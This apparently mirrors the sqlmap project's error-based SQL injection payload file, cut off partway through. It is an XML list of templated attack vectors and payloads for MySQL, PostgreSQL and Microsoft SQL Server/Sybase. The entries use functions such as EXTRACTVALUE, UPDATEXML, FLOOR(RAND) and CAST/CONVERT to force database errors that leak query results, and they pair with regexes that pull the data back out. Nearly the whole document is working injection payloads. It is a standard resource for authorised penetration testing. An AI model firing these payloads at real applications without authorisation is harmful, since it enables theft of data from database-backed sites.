CoCalc -- error

GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/data/xml/payloads/error_based.xml
²⁹⁹² views
1
<?xml version="1.0" encoding="UTF-8"?>
2

3
<root>
4
    <!-- Error-based tests - WHERE, HAVING, ORDER BY or GROUP BY clause -->
5
    <test>
6
        <title>MySQL &gt;= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)</title>
7
        <stype>2</stype>
8
        <level>4</level>
9
        <risk>1</risk>
10
        <clause>1,2,3,8,9</clause>
11
        <where>1</where>
12
        <vector>AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</vector>
13
        <request>
14
            <!-- These work as good as ELT(), but are longer
15
            <payload>AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload>
16
            <payload>AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload>
17
            -->
18
            <payload>AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload>
19
        </request>
20
        <response>
21
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
22
        </response>
23
        <details>
24
            <dbms>MySQL</dbms>
25
            <dbms_version>&gt;= 5.5</dbms_version>
26
        </details>
27
    </test>
28

29
    <test>
30
        <!-- It does not work against ORDER BY or GROUP BY clause -->
31
        <title>MySQL &gt;= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)</title>
32
        <stype>2</stype>
33
        <level>4</level>
34
        <risk>3</risk>
35
        <clause>1,8,9</clause>
36
        <where>1</where>
37
        <vector>OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</vector>
38
        <request>
39
            <!-- These work as good as ELT(), but are longer
40
            <payload>OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload>
41
            <payload>OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload>
42
            -->
43
            <payload>OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload>
44
        </request>
45
        <response>
46
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
47
        </response>
48
        <details>
49
            <dbms>MySQL</dbms>
50
            <dbms_version>&gt;= 5.5</dbms_version>
51
        </details>
52
    </test>
53

54
    <test>
55
        <title>MySQL &gt;= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)</title>
56
        <stype>2</stype>
57
        <level>4</level>
58
        <risk>1</risk>
59
        <clause>1,2,3,8,9</clause>
60
        <where>1</where>
61
        <vector>AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector>
62
        <request>
63
            <payload>AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload>
64
        </request>
65
        <response>
66
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
67
        </response>
68
        <details>
69
            <dbms>MySQL</dbms>
70
            <dbms_version>&gt;= 5.5</dbms_version>
71
        </details>
72
    </test>
73

74
    <test>
75
        <title>MySQL &gt;= 5.5 OR error-based - WHERE or HAVING clause (EXP)</title>
76
        <stype>2</stype>
77
        <level>4</level>
78
        <risk>3</risk>
79
        <clause>1,8,9</clause>
80
        <where>1</where>
81
        <vector>OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector>
82
        <request>
83
            <payload>OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload>
84
        </request>
85
        <response>
86
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
87
        </response>
88
        <details>
89
            <dbms>MySQL</dbms>
90
            <dbms_version>&gt;= 5.5</dbms_version>
91
        </details>
92
    </test>
93

94
    <test>
95
        <title>MySQL &gt;= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)</title>
96
        <stype>2</stype>
97
        <level>4</level>
98
        <risk>1</risk>
99
        <clause>1,2,3,8,9</clause>
100
        <where>1</where>
101
        <vector>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
102
        <request>
103
            <payload>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
104
        </request>
105
        <response>
106
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
107
        </response>
108
        <details>
109
            <dbms>MySQL</dbms>
110
            <dbms_version>&gt;= 5.6</dbms_version>
111
        </details>
112
    </test>
113

114
    <test>
115
        <title>MySQL &gt;= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)</title>
116
        <stype>2</stype>
117
        <level>4</level>
118
        <risk>3</risk>
119
        <clause>1,8,9</clause>
120
        <where>1</where>
121
        <vector>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
122
        <request>
123
            <payload>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
124
        </request>
125
        <response>
126
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
127
        </response>
128
        <details>
129
            <dbms>MySQL</dbms>
130
            <dbms_version>&gt;= 5.6</dbms_version>
131
        </details>
132
    </test>
133

134
    <test>
135
        <title>MySQL &gt;= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)</title>
136
        <stype>2</stype>
137
        <level>5</level>
138
        <risk>1</risk>
139
        <clause>1,2,3,8,9</clause>
140
        <where>1</where>
141
        <vector>AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8)))</vector>
142
        <request>
143
            <payload>AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8)))</payload>
144
        </request>
145
        <response>
146
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
147
        </response>
148
        <details>
149
            <dbms>MySQL</dbms>
150
            <dbms_version>&gt;= 5.7.8</dbms_version>
151
        </details>
152
    </test>
153

154
    <test>
155
        <!-- It does not work against ORDER BY or GROUP BY clause -->
156
        <title>MySQL &gt;= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)</title>
157
        <stype>2</stype>
158
        <level>5</level>
159
        <risk>3</risk>
160
        <clause>1,8,9</clause>
161
        <where>1</where>
162
        <vector>OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8)))</vector>
163
        <request>
164
            <payload>OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8)))</payload>
165
        </request>
166
        <response>
167
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
168
        </response>
169
        <details>
170
            <dbms>MySQL</dbms>
171
            <dbms_version>&gt;= 5.7.8</dbms_version>
172
        </details>
173
    </test>
174

175
    <test>
176
        <title>MySQL &gt;= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
177
        <stype>2</stype>
178
        <level>2</level>
179
        <risk>1</risk>
180
        <clause>1,2,3,8,9</clause>
181
        <where>1</where>
182
        <vector>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</vector>
183
        <request>
184
            <!-- These work as good as ELT(), but are longer
185
            <payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
186
            <payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
187
            -->
188
            <payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
189
        </request>
190
        <response>
191
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
192
        </response>
193
        <details>
194
            <dbms>MySQL</dbms>
195
            <dbms_version>&gt;= 5.0</dbms_version>
196
        </details>
197
    </test>
198

199
    <test>
200
        <title>MySQL &gt;= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
201
        <stype>2</stype>
202
        <level>2</level>
203
        <risk>3</risk>
204
        <clause>1,2,3,8,9</clause>
205
        <!-- Despite this is an OR payload, keep where to 1 because otherwise it will not work when injecting in ORDER BY or GROUP BY -->
206
        <where>1</where>
207
        <vector>OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</vector>
208
        <request>
209
            <!-- These work as good as ELT(), but are longer
210
            <payload>OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
211
            <payload>OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
212
            -->
213
            <payload>OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
214
        </request>
215
        <response>
216
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
217
        </response>
218
        <details>
219
            <dbms>MySQL</dbms>
220
            <dbms_version>&gt;= 5.0</dbms_version>
221
        </details>
222
    </test>
223

224
    <test>
225
        <title>MySQL &gt;= 5.0 (inline) error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
226
        <stype>2</stype>
227
        <level>5</level>
228
        <risk>1</risk>
229
        <clause>7</clause>
230
        <where>1</where>
231
        <vector>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</vector>
232
        <request>
233
            <payload>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
234
        </request>
235
        <response>
236
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
237
        </response>
238
        <details>
239
            <dbms>MySQL</dbms>
240
            <dbms_version>&gt;= 5.0</dbms_version>
241
        </details>
242
    </test>
243

244
    <test>
245
        <title>MySQL &gt;= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
246
        <stype>2</stype>
247
        <level>1</level>
248
        <risk>1</risk>
249
        <clause>1,2,3,8,9</clause>
250
        <where>1</where>
251
        <vector>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
252
        <request>
253
            <!-- These work as good as ELT(), but are longer
254
            <payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
255
            <payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
256
            -->
257
            <payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
258
        </request>
259
        <response>
260
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
261
        </response>
262
        <details>
263
            <dbms>MySQL</dbms>
264
            <dbms_version>&gt;= 5.1</dbms_version>
265
        </details>
266
    </test>
267

268
    <test>
269
        <title>MySQL &gt;= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
270
        <stype>2</stype>
271
        <level>1</level>
272
        <risk>3</risk>
273
        <clause>1,2,3,8,9</clause>
274
        <!-- Despite this is an OR payload, keep where to 1 because otherwise it will not work when injecting in ORDER BY or GROUP BY -->
275
        <where>1</where>
276
        <vector>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
277
        <request>
278
            <!-- These work as good as ELT(), but are longer
279
            <payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
280
            <payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
281
            -->
282
            <payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
283
        </request>
284
        <response>
285
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
286
        </response>
287
        <details>
288
            <dbms>MySQL</dbms>
289
            <dbms_version>&gt;= 5.1</dbms_version>
290
        </details>
291
    </test>
292

293
    <test>
294
        <title>MySQL &gt;= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)</title>
295
        <stype>2</stype>
296
        <level>3</level>
297
        <risk>1</risk>
298
        <clause>1,2,3,8,9</clause>
299
        <where>1</where>
300
        <vector>AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])</vector>
301
        <request>
302
            <!-- These work as good as ELT(), but are longer
303
            <payload>AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1])</payload>
304
            <payload>AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])</payload>
305
            -->
306
            <payload>AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])</payload>
307
        </request>
308
        <response>
309
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
310
        </response>
311
        <details>
312
            <dbms>MySQL</dbms>
313
            <dbms_version>&gt;= 5.1</dbms_version>
314
        </details>
315
    </test>
316

317
    <test>
318
        <title>MySQL &gt;= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)</title>
319
        <stype>2</stype>
320
        <level>3</level>
321
        <risk>3</risk>
322
        <clause>1,2,3,8,9</clause>
323
        <!-- Despite this is an OR payload, keep where to 1 because otherwise it will not work when injecting in ORDER BY or GROUP BY -->
324
        <where>1</where>
325
        <vector>OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])</vector>
326
        <request>
327
            <!-- These work as good as ELT(), but are longer
328
            <payload>OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1])</payload>
329
            <payload>OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])</payload>
330
            -->
331
            <payload>OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])</payload>
332
        </request>
333
        <response>
334
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
335
        </response>
336
        <details>
337
            <dbms>MySQL</dbms>
338
            <dbms_version>&gt;= 5.1</dbms_version>
339
        </details>
340
    </test>
341

342
    <test>
343
        <title>MySQL &gt;= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
344
        <stype>2</stype>
345
        <level>3</level>
346
        <risk>1</risk>
347
        <clause>1,2,3,8,9</clause>
348
        <where>1</where>
349
        <vector>AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)</vector>
350
        <request>
351
            <!-- These work as good as ELT(), but are longer
352
            <payload>AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)</payload>
353
            <payload>AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)</payload>
354
            -->
355
            <payload>AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)</payload>
356
        </request>
357
        <response>
358
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
359
        </response>
360
        <details>
361
            <dbms>MySQL</dbms>
362
            <dbms_version>&gt;= 4.1</dbms_version>
363
        </details>
364
    </test>
365

366
    <test>
367
        <!-- It does not work against ORDER BY or GROUP BY clause -->
368
        <title>MySQL &gt;= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)</title>
369
        <stype>2</stype>
370
        <level>3</level>
371
        <risk>3</risk>
372
        <clause>1,8,9</clause>
373
        <where>1</where>
374
        <vector>OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)</vector>
375
        <request>
376
            <!-- These work as good as ELT(), but are longer
377
            <payload>OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)</payload>
378
            <payload>OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)</payload>
379
            -->
380
            <payload>OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)</payload>
381
        </request>
382
        <response>
383
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
384
        </response>
385
        <details>
386
            <dbms>MySQL</dbms>
387
            <dbms_version>&gt;= 4.1</dbms_version>
388
        </details>
389
    </test>
390

391
    <!-- This payload with AND does not work -->
392
    <test>
393
        <title>MySQL OR error-based - WHERE or HAVING clause (FLOOR)</title>
394
        <stype>2</stype>
395
        <level>4</level>
396
        <risk>3</risk>
397
        <clause>1,8,9</clause>
398
        <where>2</where>
399
        <vector>OR 1 GROUP BY CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0)</vector>
400
        <request>
401
            <payload>OR 1 GROUP BY CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0)</payload>
402
            <comment>#</comment>
403
        </request>
404
        <response>
405
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
406
        </response>
407
        <details>
408
            <dbms>MySQL</dbms>
409
        </details>
410
    </test>
411

412
    <test>
413
        <title>PostgreSQL AND error-based - WHERE or HAVING clause</title>
414
        <stype>2</stype>
415
        <level>1</level>
416
        <risk>1</risk>
417
        <clause>1,8,9</clause>
418
        <where>1</where>
419
        <vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)</vector>
420
        <request>
421
            <payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)</payload>
422
        </request>
423
        <response>
424
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
425
        </response>
426
        <details>
427
            <dbms>PostgreSQL</dbms>
428
        </details>
429
    </test>
430

431
    <test>
432
        <title>PostgreSQL OR error-based - WHERE or HAVING clause</title>
433
        <stype>2</stype>
434
        <level>1</level>
435
        <risk>3</risk>
436
        <clause>1,8,9</clause>
437
        <where>2</where>
438
        <vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)</vector>
439
        <request>
440
            <payload>OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)</payload>
441
        </request>
442
        <response>
443
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
444
        </response>
445
        <details>
446
            <dbms>PostgreSQL</dbms>
447
        </details>
448
    </test>
449

450
    <test>
451
        <title>Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)</title>
452
        <stype>2</stype>
453
        <level>1</level>
454
        <risk>1</risk>
455
        <clause>1,8,9</clause>
456
        <where>1</where>
457
        <vector>AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
458
        <request>
459
            <payload>AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
460
        </request>
461
        <response>
462
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
463
        </response>
464
        <details>
465
            <dbms>Microsoft SQL Server</dbms>
466
            <dbms>Sybase</dbms>
467
        </details>
468
    </test>
469

470
    <test>
471
        <title>Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN)</title>
472
        <stype>2</stype>
473
        <level>2</level>
474
        <risk>3</risk>
475
        <clause>1,8,9</clause>
476
        <where>2</where>
477
        <vector>OR [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
478
        <request>
479
            <payload>OR [RANDNUM] IN (SELECT ('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
480
        </request>
481
        <response>
482
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
483
        </response>
484
        <details>
485
            <dbms>Microsoft SQL Server</dbms>
486
            <dbms>Sybase</dbms>
487
        </details>
488
    </test>
489

490
    <test>
491
        <title>Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONVERT)</title>
492
        <stype>2</stype>
493
        <level>2</level>
494
        <risk>1</risk>
495
        <clause>1,8,9</clause>
496
        <where>1</where>
497
        <vector>AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
498
        <request>
499
            <payload>AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
500
        </request>
501
        <response>
502
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
503
        </response>
504
        <details>
505
            <dbms>Microsoft SQL Server</dbms>
506
            <dbms>Sybase</dbms>
507
        </details>
508
    </test>
509

510
    <test>
511
        <title>Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONVERT)</title>
512
        <stype>2</stype>
513
        <level>3</level>
514
        <risk>3</risk>
515
        <clause>1,8,9</clause>
516
        <where>2</where>
517
        <vector>OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
518
        <request>
519
